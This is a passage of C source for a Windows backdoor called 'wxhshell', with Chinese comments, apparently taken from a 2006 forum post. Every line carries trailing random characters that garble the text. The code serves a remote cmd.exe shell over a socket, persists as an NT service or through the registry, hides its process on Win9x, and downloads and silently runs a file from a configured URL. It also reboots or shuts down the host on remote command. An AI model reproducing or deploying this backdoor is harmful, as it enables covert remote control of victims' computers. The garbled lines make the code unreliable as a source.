  else { y% =nhV  
nY"9"R\.=  
    switch(cmd[0]) { >l{<p(  
  h|"98PI  
  // 帮助 cAIMt]_  
  case '?': { ZurQr}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); gbM#jhQ  
    break; }OgzSnR  
  } IF%^H K@  
  // 安装 3 <RkUmR  
  case 'i': { LJDX6]4n  
    if(Install()) LF?83P,UJ#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Zso&.IATng  
    else /rN%y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1iEZ9J?  
    break; !1K<iz_8  
    } VYI%U'9Q  
  // 卸载 1$e z}k,  
  case 'r': { 48Y5ppcS  
    if(Uninstall()) "*|plB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z=n# XJO15  
    else 8=OK8UaU  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &Al9%W  
    break; q}*"0r  
    } JS% &ipm  
  // 显示 wxhshell 所在路径 ww82)m8  
  case 'p': { t=J\zyX!  
    char svExeFile[MAX_PATH]; 2KMLpO&De  
    strcpy(svExeFile,"\n\r"); ~` v 7  
      strcat(svExeFile,ExeFile); @kC>+4s!  
        send(wsh,svExeFile,strlen(svExeFile),0); >K**SjVG  
    break; i X qB-4"  
    } aW]!$  
  // 重启 !xyO  
  case 'b': { &#aQ mgDF  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >lQ&^9EI%  
    if(Boot(REBOOT)) Rq~\Yf+Pm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _XIls*6AK  
    else { T1m'+^?"  
    closesocket(wsh); t QkEJ pj  
    ExitThread(0); $>1 'pV  
    } WH2?_U-8h  
    break; xcr=AhqM  
    } q/~U[.C  
  // 关机 SHS:>V  
  case 'd': { o B;EP  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); L {(\k$>'  
    if(Boot(SHUTDOWN)) ^l;nBD#nJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z<6xQTx  
    else { Vd^_4uqnV  
    closesocket(wsh); 5f2ah4 g  
    ExitThread(0); t_5b  
    } cy8+@77  
    break; ysD @yM,  
    } NKB,D$!~&  
  // 获取shell Vc|r(lM  
  case 's': { \)859x&(  
    CmdShell(wsh); n-[J+DdB  
    closesocket(wsh);  uZ][#[u  
    ExitThread(0); BFmYbK  
    break; zvB!=  
  } tyFhp:ZB  
  // 退出 yaV=e1W  
  case 'x': {  c'?4*O  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Cr|v3Y#h'  
    CloseIt(wsh); QIQ }ia  
    break; E;\XZ<E  
    } ),%/T,!@  
  // 离开 -]c5**O}  
  case 'q': { }r^@Xh  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); YgiwtZ5FY  
    closesocket(wsh); wOQ-sp0q0  
    WSACleanup(); 5\1Z"?  
    exit(1); CZyOAoc<  
    break; ^G%Bj`%  
        } $by-?z((  
  } CL%?K<um  
  } /'?Fz*b  
6+"P$Ed#i  
  // 提示信息 |1J=wp)#  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +RS>#zd/=  
} Q >[*Y/`I  
  } i>6SY83B}  
e:}8|e~T  
  return; Q#P=t83  
} qR0V\OtgY~  
$~c?qU  
// shell模块句柄 3?I^D /K^  
int CmdShell(SOCKET sock) x' *,~u  
{ +F q`I2l|  
STARTUPINFO si; f2Frb  
ZeroMemory(&si,sizeof(si)); H pXMPHd  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ) ?rJKr[`  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Cd)e_&  
PROCESS_INFORMATION ProcessInfo; 1L1_x'tT%  
char cmdline[]="cmd"; FrD.{(/~  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); f 'aQ T  
  return 0; ']^e,9=Q  
} X1G[&  
Knsb`1"E^6  
// 自身启动模式 ^c{}G<U^  
int StartFromService(void) O-B~~$g  
{ O @fX +W?U  
typedef struct ,GEMc a,`  
{ Ti`<,TA54  
  DWORD ExitStatus; GXB4&Q!C  
  DWORD PebBaseAddress; RL/~E xYC  
  DWORD AffinityMask; BX$t |t;!m  
  DWORD BasePriority; Y W_E,A>h  
  ULONG UniqueProcessId; <$Q\vCR  
  ULONG InheritedFromUniqueProcessId; 4S|! iOY  
}   PROCESS_BASIC_INFORMATION; Ge$cV}  
;AKtb S;H  
PROCNTQSIP NtQueryInformationProcess; |8}f  
,}F2l|x_  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *FDz20S  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; QxvxeK!Y  
ut%t`Y( ]  
  HANDLE             hProcess; p3O%|)yV  
  PROCESS_BASIC_INFORMATION pbi; o>#<c @  
zMb7a_W  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); t$=FcKUV}f  
  if(NULL == hInst ) return 0; :7%JD.;W  
6"Q/Y[y  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); , RfU1R  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &3v{~Xg)  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); dj4 g  
_H^Ij  
  if (!NtQueryInformationProcess) return 0; 6~GaFmW=  
vFY/o,b \  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); pW O-YZ#+  
  if(!hProcess) return 0; =Xzqp,  
f ^mxj/%L  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; YXXUYi~!f  
d}tn/Eu?B  
  CloseHandle(hProcess); 9x.vz  
OqUEj 0X  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); wqBGJ   
if(hProcess==NULL) return 0; LA$uD?YA  
1Lwi?~!LI  
HMODULE hMod; C3-l(N1O{  
char procName[255]; 0X+Jj/-ge  
unsigned long cbNeeded; f]"][!e!,  
oQ~Q?o]Ri  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,R0@`t1 p  
E>TD`  
  CloseHandle(hProcess); a*&P>Lwe7&  
6"WR}S0o  
if(strstr(procName,"services")) return 1; // 以服务启动 A=|LMJMWR  
||hy+f[A  
  return 0; // 注册表启动 D2|-\vJ>  
} 'GQ1;9A57  
vq_W zxaG  
// 主模块 a{Y:hrd:Z  
int StartWxhshell(LPSTR lpCmdLine) DCX 4!,ZF  
{ @I}:HiF  
  SOCKET wsl; >=^g%K$L6J  
BOOL val=TRUE; mU:C{<Z  
  int port=0; tp$NT.z  
  struct sockaddr_in door; >#dNXH]9  
Q6Q>b4 .3  
  if(wscfg.ws_autoins) Install(); R6dw#;6{I  
=%Gecj  
port=atoi(lpCmdLine); n|NI]Qi*  
R?1;'pvpa[  
if(port<=0) port=wscfg.ws_port; X obiF  
Tz58@VYV  
  WSADATA data; W-=~Afy  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^te9f%>$l  
m}6GVQ'Q  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   t)g1ICt  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Zb-TCS+3l  
  door.sin_family = AF_INET; &9PzBc  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); xuO5|{h  
  door.sin_port = htons(port); oLk>|J  
+^<CJNDL9  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { gj\r>~S  
closesocket(wsl); aGNt?)8WPZ  
return 1; *j><a  
} S+|aCRS  
!6|Kpy8  
  if(listen(wsl,2) == INVALID_SOCKET) { L':;Vv~-  
closesocket(wsl); eOy{]< l3  
return 1; KQ?E]}rZ  
} )=9\6zXS  
  Wxhshell(wsl); IkH]W!_+  
  WSACleanup(); *kgbcUf8  
R`G%eG)+  
return 0; N<Rb<p%  
/4 RKA!W  
} n5 @H  
s \#kqw\x  
// 以NT服务方式启动 Z i$a6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *Au4q<   
{ ;M8N%  
DWORD   status = 0; vuuID24:  
  DWORD   specificError = 0xfffffff; Ts:dnGR5  
56u'XMB?  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ckP&N:tC  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ko im@B  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1 dz&J\|E#  
  serviceStatus.dwWin32ExitCode     = 0; /-E>5wU  
  serviceStatus.dwServiceSpecificExitCode = 0; Slq=;TDp  
  serviceStatus.dwCheckPoint       = 0; //Ioh (N  
  serviceStatus.dwWaitHint       = 0; =NAL*4c+  
O-wR48Q  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?YXl.yj  
  if (hServiceStatusHandle==0) return; Sl^HMO  
tNbCO+rZ  
status = GetLastError(); ^o!K0 t*  
  if (status!=NO_ERROR) f|?i6.N> f  
{ V;=SncUb  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; RK/SeS  
    serviceStatus.dwCheckPoint       = 0; ma~WJ0LM\  
    serviceStatus.dwWaitHint       = 0; y_qFXd  
    serviceStatus.dwWin32ExitCode     = status; U?>P6p  
    serviceStatus.dwServiceSpecificExitCode = specificError; !-x^b.${B  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); VyCBJK  
    return; .zlUN0oe  
  } ; z:}OD  
:Ff1Js(Z  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; -#3B>VY  
  serviceStatus.dwCheckPoint       = 0; / !jd%,G  
  serviceStatus.dwWaitHint       = 0; vBj{bnl  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); p(Y'fd}  
} KLsTgo|J  
4&K~EX"^T  
// 处理NT服务事件,比如:启动、停止 $&n!j'C:  
VOID WINAPI NTServiceHandler(DWORD fdwControl) |6`yE]3 -(  
{ M=26@ n  
switch(fdwControl) ," :ADO-  
{ eXnMS!g%Z  
case SERVICE_CONTROL_STOP: 7 -gt V#  
  serviceStatus.dwWin32ExitCode = 0; -[`,MZf   
  serviceStatus.dwCurrentState = SERVICE_STOPPED; )Y Qtrc\91  
  serviceStatus.dwCheckPoint   = 0; qQ/j+  
  serviceStatus.dwWaitHint     = 0; $>OWGueq64  
  { Wxb/|?,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); hX$k8 o0  
  } GpN tvo~  
  return; \4~uop,Nb+  
case SERVICE_CONTROL_PAUSE: ff?:_q+.N  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 65=i`!f  
  break; N#C,_ k  
case SERVICE_CONTROL_CONTINUE: &Dqg<U  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; H ~J#!3  
  break; z]=A3!H/Y  
case SERVICE_CONTROL_INTERROGATE: ^=pn!lK;^  
  break; ~( -B%Az  
}; rh${pHl  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); epW;]> l  
} !(w\%$|  
7tUl$H;I/R  
// 标准应用程序主函数 q,^^c1f  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) )+N%!(ki  
{ ^&h|HO-5  
a)Qx43mOS  
// 获取操作系统版本 o9<jj>R;  
OsIsNt=GetOsVer(); r?\hZ*|M  
GetModuleFileName(NULL,ExeFile,MAX_PATH); @wYuc{%S  
P[8`]=  
  // 从命令行安装 _Wk!d3bsx  
  if(strpbrk(lpCmdLine,"iI")) Install(); "npj%O<bd  
<{3VK  
  // 下载执行文件 :I+%v  
if(wscfg.ws_downexe) { fHb0pp\[.  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Y=x]'3}^  
  WinExec(wscfg.ws_filenam,SW_HIDE); 7zgU>$i  
} .^l;3*X@  
or]8;eQ?  
if(!OsIsNt) { ?%iAkV  
// 如果时win9x,隐藏进程并且设置为注册表启动 U"aFi  
HideProc(); F4e<=R  
StartWxhshell(lpCmdLine); EbY%:jR  
} [|<|a3']|  
else "DjD"?/b  
  if(StartFromService()) }PK8[N  
  // 以服务方式启动 i 0L)hkV  
  StartServiceCtrlDispatcher(DispatchTable); g(,gg1mG  
else ljlQ9wb[s  
  // 普通方式启动 nr! kx)j  
  StartWxhshell(lpCmdLine); 55zimv&DV  
4Xe3PdE  
return 0; 'X<R)E  
}
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只看该作者 1 发表于: 2006-10-10
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